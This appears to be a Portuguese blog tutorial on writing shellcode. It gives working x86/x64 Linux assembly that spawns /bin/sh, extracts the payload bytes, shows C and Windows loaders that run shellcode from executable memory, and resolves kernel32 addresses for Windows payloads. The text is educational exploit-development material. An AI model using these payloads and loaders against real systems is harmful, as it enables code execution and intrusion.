Home Shellcoding 101
Post
Cancel

Shellcoding 101

Shellcoding 101

TL;DR

Neste artigo, exploramos os fundamentos do desenvolvimento de shellcodes, focando principalmente no ambiente Windows e na manipulação de endereços dinâmicos. O shellcoding envolve escrever pequenos pedaços de código em assembly para explorar vulnerabilidades e executar comandos diretamente no sistema alvo. Explicamos conceitos básicos como registradores, instruções de assembly e syscalls, e detalhamos a estrutura interna da DLL kernel32.dll, incluindo como localizar e utilizar funções críticas como WinExec(). Também abordamos a importância das estruturas TEB e PEB e mostramos como encontrar os RVAs das funções necessárias para criar shellcodes robustos e adaptáveis. Este artigo fornece uma base sólida para iniciantes e profissionais experientes em hacking, capacitando-os a identificar e explorar vulnerabilidades de segurança de forma eficaz e criativa.

Introdução

Este artigo começou com a ideia de transmitir um conhecimento básico sobre a criação de shellcodes em ambientes Linux e Windows. Porém, como boa parte dos artigos que inicio, acabou tomando proporções maiores.

Decidi, no meio do caminho, me aprofundar mais sobre shellcode em ambiente Windows, mergulhando mais profundamente no nível e explorando um pouco mais as APIs e bibliotecas do SO. O artigo começa com o Linux, pois é um processo mais simples, porém a maior parte de todo o conteúdo se foca no ambiente Windows.

Definitivamente este artigo não funciona sozinho no processo de aprendizagem. Ele exige que a prática ocorra em paralelo, pois alguns conceitos podem se tornar complexos para entendimento só com leitura.

Até então, eu não havia encontrado algo em português brasileiro com este tipo de conteúdo detalhado, portanto decidi explorar passo a passo minuciosamente. Neste caso, se alguma parte do processo não seja entendida, eu recomendo respirar, e ler novamente, e novamente, e novamente até o entendimento (não esqueça da prática).

Assim como tudo no hacking, escrever este artigo me rendeu muita diversão e espero que você que esteja lendo e replicando, também se divirta aprendendo.

Portanto, boa leitura e boa sorte!

Introdução ao Shellcode

Shellcode é um termo utilizado na segurança cibernética para descrever uma sequência de instruções de máquina que, quando executadas, geralmente abrem uma shell (linha de comando). Este código é frequentemente usado por atacantes para explorar vulnerabilidades em software, permitindo-lhes executar comandos arbitrários no sistema comprometido. No entanto, na prática moderna, o shellcode é um código em byte inserido em um exploit e pode realizar diversas outras tarefas além de abrir uma shell, como escalar privilégios, criar backdoors ou exfiltrar dados.

O que é Shellcode?

Shellcode é essencialmente um payload injetado em um sistema alvo através de um exploit seja explorando uma vulnerabilidade ou se aproveitando de falhas de configuração. Ele é escrito em linguagem Assembly, o que permite controle granular sobre o comportamento do sistema. Os principais objetivos do shellcode incluem:

  • Execução de comandos arbitrários: Permitir ao atacante executar comandos diretamente no sistema alvo.
  • Manipulação do sistema: Modificar arquivos, ajustar permissões ou alterar a configuração do sistema.
  • Comunicação com sistemas remotos: Estabelecer conexões com servidores de comando e controle (C2) para receber instruções adicionais.

Principais Características do Shellcode

  • Pequeno e eficiente: Shellcodes são projetados para ser compactos e rápidos para garantir que eles possam ser injetados e executados sem detecção.
  • Independente de plataforma: Embora o shellcode precise ser escrito para a arquitetura específica do alvo (x86, x64, ARM, etc.), ele pode ser adaptado para diferentes sistemas operacionais.
  • Autossuficiente: O shellcode normalmente inclui todas as instruções necessárias para realizar sua tarefa sem depender de bibliotecas externas.

Como Funciona?

Shellcode funciona aproveitando vulnerabilidades e falhas em software para inserir e executar código malicioso. O processo envolve geralmente as seguintes etapas:

  1. Identificação da Vulnerabilidade: O atacante encontra uma vulnerabilidade no software alvo, como um buffer overflow, que permite a injeção de código.
  2. Injeção do Shellcode: Utilizando a vulnerabilidade, o atacante injeta o shellcode na memória do programa alvo.
  3. Execução do Shellcode: O programa vulnerável é manipulado para executar o shellcode. Isso pode envolver a sobrescrição do ponteiro de retorno de função para redirecionar a execução para o shellcode.
  4. Execução da Tarefa Maliciosa: Uma vez que o shellcode é executado, ele realiza as tarefas designadas pelo atacante, como abrir uma shell ou conectar-se a um servidor remoto.

Exemplo Prático

Para ilustrar, considere um buffer overflow clássico onde o buffer de um programa é preenchido além de sua capacidade. O atacante pode injetar o shellcode no espaço de memória excedente e manipular o fluxo de execução para pular para o início do shellcode, executando-o.

Ha tempos atrás, escrevi uma série de artigos sobre exploração de buffer overflow em sistemas Linux e Windows:

Tipos de Shellcode

Os shellcodes podem ser classificados com base na localização do alvo e no método de injeção:

  1. Local Shellcode:

    • Executado no mesmo sistema onde o exploit é acionado.
    • Utilizado principalmente em explorações que requerem acesso físico ou lógico ao sistema.
  2. Remote Shellcode:

    • Enviado através de uma rede para explorar uma máquina remota.
    • Comumente usado em ataques a serviços de rede, como servidores web ou aplicativos baseados em rede.
  3. Staged Shellcode:

    • Dividido em múltiplos estágios.
    • O primeiro estágio é pequeno e apenas o suficiente para baixar ou carregar o segundo estágio, que contém a carga útil completa.
    • Utilizado para evitar detecção e facilitar a injeção em espaços de memória limitados.
  4. Egghunt Shellcode:

    • Utilizado quando há uma quantidade limitada de espaço para injetar o shellcode.
    • Consiste em um pequeno código que “caça” ou procura o verdadeiro shellcode em outra parte da memória.

O que é preciso saber para criar um Shellcode?

Criar um shellcode eficaz requer conhecimento razoável de várias áreas:

  1. Linguagens C e Assembly:

    • Habilidade para escrever código eficiente e compacto em Assembly.
    • Compreensão das instruções de máquina e registradores.
  2. Arquitetura de Sistemas:

    • Conhecimento sobre a arquitetura da CPU alvo (x86, x64, ARM, etc.).
    • Compreensão dos mecanismos de gerenciamento de memória e estrutura do sistema operacional.
  3. Ferramentas de Desenvolvimento e Debugging:

    • Familiaridade com ferramentas como nasm, gdb, objdump, e strace.
    • Habilidade para compilar, depurar e analisar código Assembly.
  4. Conhecimento de Sistemas Operacionais:

    • Entendimento das chamadas de sistema (syscalls) específicas do SO alvo.
    • Compreensão das particularidades dos sistemas operacionais (Linux, Windows, etc.).

Por que Assembly?

Existem várias características que tornam o Assembly a melhor escolha para se criar um shellcode.

Linguagens de alto nível, como C, Python ou Java, abstraem muitos detalhes do hardware, o que pode impedir a execução precisa das operações. Já o Assembly oferece um controle direto sobre o hardware e os recursos do sistema. Isso permite aos desenvolvedores de shellcode manipular registradores, memória e instruções de CPU com precisão.

Outra característica que faz do assembly a melhor escolha, é o tamanho do shellcode, que deve ter o menor tamanho possível, pois muitas vezes o espaço para injeção é pequeno. E justamente pela abstração das outras linguagens, o shellcode pode ficar muito extenso.

Para exemplificar, criaremos o mesmo programa em C e em Assembly para depois transformá-los em shellcode e comparar as diferenças.

Abaixo um programa em C que invoca uma shell::

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <unistd.h>
#include <stdio.h>

int main() {
    char *path = "/bin/sh";

    char *const args[] = {"/bin/sh", NULL};

    char *const env[] = {NULL};

    execve(path, args, env);
    return 0;
}

Ao compilar e executar, temos um sh:

Shell feito em C

Quando o transformamos em shellcode, vemos que seu tamanho é de 448 Bytes:

Shellcode em C

Agora o mesmo programa criado em ASM:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
global _start

section .text

_start:

    xor    rdx, rdx             
    mov    qword rbx, '//bin/sh'
    shr    rbx, 8               
    push   rbx                  

    mov    rdi, rsp             
    push   rdx                  
    push   rdi                  
    mov    rsi, rsp             
    mov    rax, 59              
    syscall                    

Ao compilar e executar, também temos um sh:

Shell em ASM

Quando o transformamos em shellcode, vemos que seu tamanho é de 33 Bytes:

Shellcode em ASM

Um shellcode absurdamente menor. Estas características fazem do Assembly a melhor escolha para criação de shellcodes.

Quais as diferenças entre Shellcode em Windows e Linux?

Escrever shellcode para Windows e Linux envolve algumas diferenças importantes, dado que cada sistema operacional tem sua própria API e mecanismos de chamada de sistema.

A principal diferença entre os dois sistemas operacionais é a constância dos números de syscalls no Linux em contraste com a variabilidade dos endereços de funções no Windows. No Linux, os números das syscalls permanecem constantes entre as versões do sistema operacional, proporcionando uma estabilidade maior para os desenvolvedores. Eles sabem que uma syscall específica sempre terá o mesmo número, independentemente da versão do kernel. Já no Windows, os endereços das funções podem mudar de uma versão para outra. Essa abordagem permite aos desenvolvedores do Windows fazer alterações no kernel sem quebrar a compatibilidade com programas existentes, pois os programas sempre localizam as funções necessárias dinamicamente nas DLLs.

A abordagem adotada pelo Windows oferece maior flexibilidade para os desenvolvedores do sistema operacional. Eles podem fazer mudanças no kernel sem causar problemas de compatibilidade com os programas existentes. Se o endereço de uma função mudar, o programa pode simplesmente localizar o novo endereço na DLL. Por outro lado, como o Linux utiliza um sistema de numeração fixo para as syscalls, se os números das syscalls mudassem, muitos desenvolvedores seriam prejudicados, pois teriam que atualizar o código de seus programas para refletir os novos números. Manter os números das syscalls constantes evita isso e garante que o código escrito para uma versão do Linux continuará funcionando em versões futuras.

Shellcode em Linux:

O Linux, ao contrário do Windows, fornece uma maneira direta de interagir com o kernel por meio da interface int 0x80. Essa interface permite que programas façam chamadas de sistema (syscalls) diretamente ao kernel. Uma syscall é uma função fornecida pelo kernel que permite a execução de operações de baixo nível, como ler ou escrever arquivos, alocar memória e realizar outras tarefas essenciais. No Linux, existe uma tabela de syscalls onde cada syscall é associada a um número único. Por exemplo, a syscall execve tem o número 11. Esses números de syscalls são consistentes e permanecem constantes entre as versões do sistema operacional. Isso significa que a syscall execve sempre terá o número 11, independentemente da versão do kernel ou da distribuição do Linux. Essa constância oferece estabilidade para os desenvolvedores, pois sabem que uma syscall específica terá sempre o mesmo número, facilitando o desenvolvimento e a manutenção de software.

  1. Chamadas de Sistema (Syscalls):

    • No Linux, as syscalls são invocadas diretamente utilizando a instrução int 0x80 (x86) ou syscall (x64).
    • Shellcodes Linux costumam ser menores e mais diretos porque interagem diretamente com o kernel.
  2. Convencionais de Registro:

    • Utilização direta dos registradores (eax, ebx, ecx, etc.) para passar argumentos para syscalls.
  3. Ambiente mais Simples:

    • Menos dependência de bibliotecas externas e estruturas complexas.

Shellcode em Windows:

Por outro lado, o Windows não fornece uma interface direta com o kernel como o Linux. Em vez disso, para realizar operações de baixo nível, o Windows utiliza funções fornecidas por bibliotecas de vínculo dinâmico, as DLLs (Dynamic Link Libraries). Para chamar essas funções, um programa precisa primeiro encontrar o endereço da função na DLL carregada. Esse processo é feito dinamicamente durante a execução do programa. No Windows, os endereços das funções nas DLLs podem variar entre diferentes versões do sistema operacional. Isso significa que a função CreateFile, por exemplo, pode estar em um endereço diferente no Windows 10 em comparação com o Windows 11. Por essa razão, um shellcode ou qualquer programa que utilize essas funções precisa conseguir localizar dinamicamente os endereços das funções que deseja usar.

  1. API do Windows (WinAPI):

    • Shellcodes em Windows frequentemente utilizam a API do Windows para realizar tarefas.
    • Isso pode resultar em shellcodes mais complexos devido à necessidade de resolver endereços de funções dinamicamente.
  2. Structured Exception Handling (SEH):

    • Mecanismo de tratamento de exceções estruturadas que pode ser explorado ou necessita ser evitado.
  3. Registro e Convenções de Chamada:

    • Utilização do stack e registradores de forma específica conforme a convenção de chamada utilizada (stdcall, cdecl, etc.).
  4. Proteções Adicionais:

    • Windows geralmente possui mais mecanismos de proteção como DEP (Data Execution Prevention) e ASLR (Address Space Layout Randomization) que precisam ser considerados.

Encontrando Endereços de Funções DLL no Windows

No Windows, localizar os endereços das funções necessárias em DLLs pode ser um desafio, considerando especialmente as atualizações e mudanças que ocorrem com novos service packs.

Métodos de Endereçamento de Funções

Existem duas abordagens principais para endereçar funções em shellcode: usar endereços codificados ou encontrar as funções em tempo de execução.

  1. Endereços Codificados:
    • Esta abordagem, envolve codificar diretamente os endereços das funções no shellcode. Isso significa que o shellcode contém os endereços exatos das funções que ele precisa usar. Esta característica implica no fato de que um shellcode só irá funcionar em uma versão idêntica do sistema operacional no qual foi desenvolvido, ou seja, a mesma versão de Windows, com as mesmas atualizações e os mesmos patches.
  2. Tempo de Execução:
    • Neste método, o shellcode calcula dinamicamente os endereços das funções necessárias enquanto está sendo executado. Isso garante que ele possa se adaptar a diferentes versões do sistema operacional, pois os endereços são resolvidos no momento da execução, independentemente das mudanças introduzidas por atualizações ou patches.

Utilizando kernel32.dll

A única DLL que é garantidamente mapeada no espaço de endereço de um processo é a kernel32.dll. Esta DLL é crucial porque contém duas funções essenciais: LoadLibrary e GetProcAddress. LoadLibrary permite carregar outras DLLs no espaço de endereço do processo, enquanto GetProcAddress é usada para encontrar os endereços das funções exportadas por essas DLLs.

Essas duas funções são fundamentais porque, uma vez que você tenha o endereço de LoadLibrary, você pode carregar qualquer outra DLL que precisar. Da mesma forma, com o endereço de GetProcAddress, você pode localizar qualquer função dentro dessas DLLs carregadas.

Desafios com Endereços Codificados

Um problema significativo com o uso de endereços codificados é que os deslocamentos de endereço podem mudar com cada nova versão do Windows, incluindo service packs e patches. Isso ocorre porque, ao atualizar ou modificar o sistema operacional, os desenvolvedores da Microsoft podem reorganizar como as DLLs são carregadas na memória, alterando os endereços das funções.

Consequentemente, se você optar por utilizar endereços codificados, seu shellcode será específico para uma versão exata do Windows. Qualquer mudança na versão do sistema operacional poderá invalidar os endereços codificados, fazendo com que o shellcode falhe ao tentar localizar e chamar as funções necessárias.

Informações Básicas

Por mais que o intuito deste artigo não seja o de abordar a fundo a arquitetura de processadores, é importante abordarmos alguns tópicos base.

Arquiteturas

Para otimizar as instruções no processamento, a CPU possui um conjunto de registradores. Estes registradores têm uma largura específica que muda conforme a arquitetura.

x86 = Processadores de 32 bits = 4 bytes de largura.
x64 = Processadores de 64 bits = 8 bytes de largura.

Conceitos Básicos

Antes de mergulharmos no desenvolvimento de shellcode, é importante entender alguns conceitos fundamentais:

  • Registradores: São pequenos locais de armazenamento na CPU usados para operações rápidas. Registradores comuns incluem EAX, EBX, ECX, etc.
  • Instruções de Assembly: Conjunto de instruções que a CPU pode executar diretamente. Exemplos incluem MOV, XOR, PUSH, POP.
  • Chamadas de Sistema (Syscalls): Interfaces fornecidas pelo sistema operacional que permitem que os programas solicitem serviços do kernel, como abrir arquivos, executar processos, etc.

Registradores

64 bits = 8 bytes32 bits = 4 bytes16 bits = 2 bytes8 bits = 1 byte
RAX - AcumulatorEAXAXAH ~ AL
RBX - BaseEBXBXBH ~ BL
RCX - CounterECXCXCH ~ CL
RDX - DataEDXDXDH ~ DL
RSI - Source IndexESISI 
RDI - Destination IndexEDIDI 
RSP - Stack PointerESPSP 
RBP - Base PointerEBPBP 
RIP - Instruction PointerEIPIP 
R8 ~ R15   

Tabela1: Registradores em arquiteturas diferentes.

Semanticamente, cada registrador tem sua própria função, porém, como consenso, a depender da utilização, os registradores RAX, RBX, RCX, e RDX são utilizados por propósito geral (GPRs - General Purpose Register), por poderem ser repositórios para armazenar variáveis e informações. Já os registradores RSI, RDI, RSP, RBP e RIP tem a função de controlar e direcionar a execução do programa.

Em outras palavras:

  • EAX, EBX, ECX, e EDX são todos GPRs de 32-bit na plataforma x86.
  • AH, BH, CH e DH acessam os 8-bits mais altos dos GPRs.
  • AL, BL, CL, e DL acessam os 8-bits mais baixos dos GPRs.
  • ESI e EDI são usados para fazer syscalls no Linux.
  • Syscalls com 6 argumentos ou menos são passados via GPRs.
  • XOR EAX, EAX é a melhor forma de zerar um registrador.
  • No Windows, todos os argumentos de função são passados pela stack de acordo com sua convenção de chamada.

No próprio Linux, podemos consultar o manual da syscall e termos um overview de como funciona a syscall junto aos registradores:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
$ man syscall

Arch/ABI    Instruction         System  Ret  Ret  Error    Notes
                                call #  val  val2
───────────────────────────────────────────────────────────────────
alpha       callsys               v0      v0   a4   a3       1, 6
arc         trap0                 r8      r0   -    -
arm/OABI    swi NR                -       r0   -    -        2
arm/EABI    swi 0x0               r7      r0   r1   -
arm64       svc #0                w8      x0   x1   -
blackfin    excpt 0x0             P0      R0   -    -
i386        int $0x80             eax     eax  edx  -
ia64        break 0x100000        r15     r8   r9   r10      1, 6
loongarch   syscall 0             a7      a0   -    -
m68k        trap #0               d0      d0   -    -
microblaze  brki r14,8            r12     r3   -    -
mips        syscall               v0      v0   v1   a3       1, 6
nios2       trap                  r2      r2   -    r7
parisc      ble 0x100(%sr2, %r0)  r20     r28  -    -
powerpc     sc                    r0      r3   -    r0       1
powerpc64   sc                    r0      r3   -    cr0.SO   1
riscv       ecall                 a7      a0   a1   -
s390        svc 0                 r1      r2   r3   -        3
s390x       svc 0                 r1      r2   r3   -        3
superh      trapa #31             r3      r0   r1   -        4, 6
sparc/32    t 0x10                g1      o0   o1   psr/csr  1, 6
sparc/64    t 0x6d                g1      o0   o1   psr/csr  1, 6
tile        swint1                R10     R00  -    R01      1
x86-64      syscall               rax     rax  rdx  -        5
x32         syscall               rax     rax  rdx  -        5
xtensa      syscall               a2      a2   -    -


Arch/ABI      arg1  arg2  arg3  arg4  arg5  arg6  arg7  Notes
──────────────────────────────────────────────────────────────
alpha         a0    a1    a2    a3    a4    a5    -
arc           r0    r1    r2    r3    r4    r5    -
arm/OABI      r0    r1    r2    r3    r4    r5    r6
arm/EABI      r0    r1    r2    r3    r4    r5    r6
arm64         x0    x1    x2    x3    x4    x5    -
blackfin      R0    R1    R2    R3    R4    R5    -
i386          ebx   ecx   edx   esi   edi   ebp   -
ia64          out0  out1  out2  out3  out4  out5  -
loongarch     a0    a1    a2    a3    a4    a5    a6
m68k          d1    d2    d3    d4    d5    a0    -
microblaze    r5    r6    r7    r8    r9    r10   -
mips/o32      a0    a1    a2    a3    -     -     -     1
mips/n32,64   a0    a1    a2    a3    a4    a5    -
nios2         r4    r5    r6    r7    r8    r9    -
parisc        r26   r25   r24   r23   r22   r21   -
powerpc       r3    r4    r5    r6    r7    r8    r9
powerpc64     r3    r4    r5    r6    r7    r8    -
riscv         a0    a1    a2    a3    a4    a5    -
s390          r2    r3    r4    r5    r6    r7    -
s390x         r2    r3    r4    r5    r6    r7    -
superh        r4    r5    r6    r7    r0    r1    r2
sparc/32      o0    o1    o2    o3    o4    o5    -
sparc/64      o0    o1    o2    o3    o4    o5    -
tile          R00   R01   R02   R03   R04   R05   -
x86-64        rdi   rsi   rdx   r10   r8    r9    -
x32           rdi   rsi   rdx   r10   r8    r9    -
xtensa        a6    a3    a4    a5    a8    a9    -

NULL bytes o porquê evitá-los

A presença de um byte nulo (null byte, representado por 0x00) em um shellcode pode causar diversos problemas, especialmente porque um shellcode é injetado como uma string. Em muitas linguagens de programação e APIs, o null byte é usado como um terminador de string, o que significa que qualquer sequência de caracteres será considerada finalizada ao encontrar um 0x00. Assim, se um shellcode contiver um null byte, ele pode ser interpretado incorretamente como o final do código, pois funções de manipulação de memória que tratam os dados como strings podem truncar o shellcode ao encontrar o null byte. Isso resulta em um shellcode parcial sendo injetado, o que geralmente leva a falhas ou comportamentos inesperados.


Linux Shellcoding

Para fins de teste dos shellcodes é interessante os injetarmos em um programa que irá executá-los simulando um cenário real de exploração, abaixo temos um programa em C para arquitetura 32-bits e um para 64-bits:

shellcodetest32.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//gcc -fno-stack-protector -z execstack -m32 shellcodetest32.c -o shellcodetest32

# include <stdio.h>
# include <string.h>
# include <unistd.h>
# include <sys/mman.h>

# define EXEC_MEM ((void *) 0x80000000)

char shellcode[] = "injetar o shellcode aqui";

int main() {
    mmap(EXEC_MEM, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, -1, 0);
    memcpy(EXEC_MEM, (void *)shellcode, strlen(shellcode)+1);
    (*(int (*)())EXEC_MEM)();
    return 0;
}

shellcodetest64.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//gcc -fno-stack-protector -z execstack shellcodetest64.c -o shellcodetest64

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>

unsigned char shellcode[] = 
"injetar o shellcode aqui"; 

int main() {
    size_t shellcode_size = sizeof(shellcode) - 1;

    void *exec_mem = mmap(0, shellcode_size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (exec_mem == MAP_FAILED) {
        perror("mmap");
        exit(EXIT_FAILURE);
    }

    memcpy(exec_mem, shellcode, shellcode_size);

    ((void(*)())exec_mem)();

    return 0;
}

Exemplo 1 - Hack The Planet!

Este exemplo, por mais simples que seja nos, mostrará como um programa carrega o endereço de uma string em um pedaço do nosso código em tempo de execução. Esta ação é importante, pois, ao executar o shellcode em um ambiente desconhecido, o endereço da string também será desconhecido, pois o programa não será executado em um espaço de memória previsível.

Perceba também, que logo no início, utilizamos o operador xor para zerar alguns registradores, garantindo que nenhum NULL Byte entre no código de forma inesperada.

hack.asm:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[SECTION .text]

global _start

_start:

    jmp short htp

    init:

    xor eax, eax                ; limpando registradores
    xor ebx, ebx
    xor edx, edx
    xor ecx, ecx

    mov al, 4                   ; 4 é a syscall write
    mov bl, 1                   ; 1 é o stdout
    pop ecx                     ; pega o endereço da string na stack
    mov dl, 18                  ; comprimento da string
    int 0x80                    ; faz a syscall

    xor eax, eax
    mov al, 1                   ; 1 é a syscall exit, para o programa encerrar comerretamente
    xor ebx, ebx
    int 0x80

    htp:
    call init                   ; coloca o endereço da string na stack
    db "Hack The Plannet!",10

Podemos “assemblar” e linkar o código:

1
2
$ nasm -f elf hack.asm
$ ld -m elf_i386 -s -o hack hack.o

Agora podemos utilizar o utilitário objdump para obtermos o machine code do programa:

1
$ objdump -d hack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
hack:     file format elf32-i386


Disassembly of section .text:

08049000 <.text>:
 8049000:       eb 19                   jmp    0x804901b
 8049002:       31 c0                   xor    %eax,%eax
 8049004:       31 db                   xor    %ebx,%ebx
 8049006:       31 d2                   xor    %edx,%edx
 8049008:       31 c9                   xor    %ecx,%ecx
 804900a:       b0 04                   mov    $0x4,%al
 804900c:       b3 01                   mov    $0x1,%bl
 804900e:       59                      pop    %ecx
 804900f:       b2 12                   mov    $0x12,%dl
 8049011:       cd 80                   int    $0x80
 8049013:       31 c0                   xor    %eax,%eax
 8049015:       b0 01                   mov    $0x1,%al
 8049017:       31 db                   xor    %ebx,%ebx
 8049019:       cd 80                   int    $0x80
 804901b:       e8 e2 ff ff ff          call   0x8049002
 8049020:       48                      dec    %eax
 8049021:       61                      popa
 8049022:       63 6b 20                arpl   %ebp,0x20(%ebx)
 8049025:       54                      push   %esp
 8049026:       68 65 20 50 6c          push   $0x6c502065
 804902b:       61                      popa
 804902c:       6e                      outsb  %ds:(%esi),(%dx)
 804902d:       6e                      outsb  %ds:(%esi),(%dx)
 804902e:       65 74 21                gs je  0x8049052
 8049031:       0a                      .byte 0xa

O que nos interessa no output é a sequência de bytes, podemos extraí-la em formato de string com o seguinte oneliner:

1
$ for i in $(objdump -d hack | grep '^ ' | cut -f2); do echo -n '\x'$i;done;echo

A string de saída pode ser inserida no script de teste de 32-bits:

1
char shellcode[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x12\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x61\x63\x6b\x20\x54\x68\x65\x20\x50\x6c\x61\x6e\x6e\x65\x74\x21\x0a"

Ao executarmos o programa após sua compilação, o shellcode imprimirá o “Hack The Plannet!”.

1
2
$ ./shelltest 
Hack The Plannet!

Exemplo 2 - Invocando uma Shell

Desta vez, faremos um shellcode para arquitetura 64-bits. Este código exemplifica bem os passos de um shellcode, pois invoca a função execve que por sua vez precisa de argumentos de ponteiros para executar comandos.

Se consultarmos o man da execve veremos como funciona:

1
2
3
4
5
6
7
8
$ man execve

SYNOPSIS
       #include <unistd.h>

       int execve(const char *pathname, char *const _Nullable argv[],
                  char *const _Nullable envp[]);
...

Conforme o manual, pode ser observado que a função execve recebe os argumentos:

  • pathname que recebe o endereço do comando a ser executado, neste caso será utilizado “/bin/sh”
  • argv[] sendo uma array de argumentos que deve ser iniciada com o path do programa e terminado em NULL

No programa abaixo, carrego o endereço de “/bin/sh” na memória como uma string e, em seguida, passo esse endereço para a função. Quando os ponteiros são desreferenciados, a memória de destino conterá a string “/bin/sh”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
global _start

section .text

_start:

    xor    rdx, rdx             ; Zerando o registrador RDX
    mov    qword rbx, '//bin/sh'; Inserindo o comando //bin/sh em RBX
    shr    rbx, 8               ; Shift Right de 8 bits em RBX para limpar a / extra
    push   rbx                  ; empurrando RBX para a Stack
    
    mov    rdi, rsp             ; Voltando o /bin/sh para RDI (argumento 1)
    push   rdx                  ; Enviando o NULL para a pilha
    push   rdi                  ; Enviando /bin/sh para a pilha
    mov    rsi, rsp             ; Movendo ["/bin/sh", 0] para RSI (argumento 2)
    mov    rax, 59              ; Movendo para RAX o valor de execve
    syscall                     ; Chamando a função

Podemos “assemblar” e linkar o código:

1
2
$ nasm -f elf64 shell.asm
$ ld -o shell shell.o

Agora podemos utilizar o utilitário objdump para obtermos o machine code do programa:

1
$ objdump -d shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
shell:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:       48 31 d2                xor    %rdx,%rdx
  401003:       48 bb 2f 2f 62 69 6e    movabs $0x68732f6e69622f2f,%rbx
  40100a:       2f 73 68 
  40100d:       48 c1 eb 08             shr    $0x8,%rbx
  401011:       53                      push   %rbx
  401012:       48 89 e7                mov    %rsp,%rdi
  401015:       52                      push   %rdx
  401016:       57                      push   %rdi
  401017:       48 89 e6                mov    %rsp,%rsi
  40101a:       b8 3b 00 00 00          mov    $0x3b,%eax
  40101f:       0f 05                   syscall

Assim como no shellcode anterior, o que nos interessa é a sequência de bytes, portanto podemos utilizar o mesmo oneliner:

1
$ for i in $(objdump -d shell | grep '^ ' | cut -f2); do echo -n '\x'$i;done;echo

E após a compilação do programa de teste de 64-bits, temos o shellcode em operação:

1
2
$ ./shellcodetest64 
sh-5.2$

Onde encontrar os números das syscalls?

Dentro ta estrutura do próprio Linux, podemos consultar o número de cada syscall, estas bibliotecas, na maioria das distribuições, está no diretório /usr/include/asm podendo variar de uma para outra.

No Arch Linux, utilizado para escrever este artigo, podemos, por exemplo, consultar o número da syscall execve na arquitetura 64-bits da seguinte forma:

1
2
$ cat /usr/include/asm/unistd_64.h | grep execve
#define __NR_execve 59

Windows x86 Shellcoding

Desenvolver um shellcode para Windows, assim como para Linux, exige um bom conhecimento das funções do kernel do SO. Devido as grandes diferenças conceituais dos dois SO já citadas anteriormente, o processo de shellcoding no Windows se torna um pouco mais trabalhoso.

A princípio, o processo se dará com endereços codificados, não só por ser menos trabalhoso, mas por que dará uma parte do embasamento para o método de encontrar os endereços de memória em tempo de execução.

Shellcode com Endereços Codificados

Assim como fizemos anteriormente, criaremos um simples programa para injetar o shellcode e testá-lo no ambiente simulando uma exploração de vulnerabilidade.

winshelltest.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char shellcode[] =
"injetar o shellcode aqui";
int main() {
    size_t shellcode_size = sizeof(shellcode) - 1;

    void *exec_mem = VirtualAlloc(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (exec_mem == NULL) {
        fprintf(stderr, "Falha na alocação de memória.\n");
        exit(EXIT_FAILURE);
    }

    memcpy(exec_mem, shellcode, shellcode_size);

    void (*func)() = (void(*)())exec_mem;
    func();

    return 0;
}

Uma vez que trabalharemos com endereços codificados, é preciso uma forma de descobrir os endereços específicos de cada função, para isso, o programa abaixo foi feito, ele nos dará 4 endereços importantes no processo: o endereço da kernel32.dll, o endereço da função WinExec para carregar os argumentos na pilha e chamar o registrador que tem o ponteiro para ela, o endereço da função ExitProcess para finalizarmos o shellcode sem risco de crash, e por fim o endereço de qualquer função adicional que precisemos para o shellcode. É importante lembrar que a maioria das funções do Windows estão contidas nas três bibliotecas principais: ntdll.dllKernel32.dllKernelBase.dll.

Para descobrirmos os endereços, o programa abaixo foi criado:

getaddr.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <windows.h>
#include <stdio.h>

int main(int argc, char** argv) {

        FARPROC fprc_func;

    if(argc < 2) {
        printf("%s <Function Name>\n",argv[0]);
        exit(-1);
    }

    unsigned long Kernel32Addr;
    unsigned long ExitProcessAddr;
    unsigned long WinExecAddr;
    unsigned long FuncProc;

    Kernel32Addr = GetModuleHandle("kernel32.dll");
    printf("KERNEL32 address in memory: 0x%08p\n", Kernel32Addr);

    ExitProcessAddr = GetProcAddress(Kernel32Addr, "ExitProcess");
    printf("ExitProcess address in memory is: 0x%08p\n", ExitProcessAddr);

    WinExecAddr = GetProcAddress(Kernel32Addr, "WinExec");
    printf("WinExec address in memory is: 0x%08p\n", WinExecAddr);

    FuncProc = GetProcAddress(Kernel32Addr, argv[1]);
    printf("%s address in memory is: 0x%08p\n", argv[1], FuncProc);

    getchar();
    return 0;
}

Ele pode ser compilado diretamente no Linux como um executável para o Windows:

1
i686-w64-mingw32-gcc -O2 getaddr.c -o getaddr.exe -mconsole -s -ffunction-sections -fdata-sections -Wall -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc >/dev/null 2>&1

Ao executarmos no Windows, e pesquisarmos, por exemplo, pela função Sleep, ele nos trará os endereços:

Endereço da função Sleep

Desta forma podemos iniciar o shellcode com endereços codificados.

Exemplo 1 - Invocando a Calculadora

